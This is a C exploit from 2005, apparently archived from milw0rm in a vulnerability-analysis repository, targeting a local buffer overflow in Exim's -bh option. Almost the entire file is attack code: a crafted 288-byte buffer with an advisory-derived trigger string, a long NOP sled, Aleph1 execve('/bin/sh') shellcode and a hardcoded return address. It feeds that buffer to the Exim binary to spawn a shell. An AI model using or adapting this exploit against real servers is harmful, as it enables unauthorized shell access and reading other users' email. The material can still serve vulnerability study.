lilbool/vuln-code-analysis
0
1/*
2 * ripped straight off iDEFENSE advisory - so lazy I just picked
3 * up GDB... bored on a weeknight :(
4 *
5 * nothing to write home to mother about due to the fact that
6 * you need a local user account on a server and all you
7 * get is to read other people's emails ....
8 *
9 * not even my own shellcode. aleph1 shellcode - cut and paste job
10 * with nops to pad.
11 *
12 * Regards,
13 * Plugger aka Tony Lockett
14 *
15 *
16 *
17 */
18
19char bomb[288]=
20
21/* the gear from iDEFENSE */
22"::%A:::::::::::::::::" /* 21 bytes */
23 /* -------- */
24/* NOPS for padding */
25"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
26"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
27"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
28"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
29"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
30"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
31"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
32"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
33"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
34"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
35"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
36"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
37"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
38"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
39"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
40"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
41"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
42"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
43"\x90\x90" /* 218 bytes */
44 /* --------- */
45/* actual code courtesy Aleph1 */
46"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89" /* 12 bytes */
47"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" /* 12 bytes */
48"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80" /* 9 bytes */
49"\xe8\xdc\xff\xff\xff/bin/sh" /* 12 bytes */
50
51/* where EIP should point */
52"\xf4\xf2\xff\xbf"; /* 4 bytes */
53 /* -------- */
54 /* 49 bytes */
55 /* -------- */
56 /* 288 bytes */
57 /* ========= */
58main()
59{
60 char *exim[4];
61 exim[0] = "/usr/exim/bin/exim";
62 exim[1] = "-bh";
63 exim[2] = bomb;
64 exim[3] = 0x0;
65 printf("Firing up exim - cross your fingers for shell!\n");
66 execve(exim[0],exim,0x0);
67 return;
68}
69
70// milw0rm.com [2005-05-25]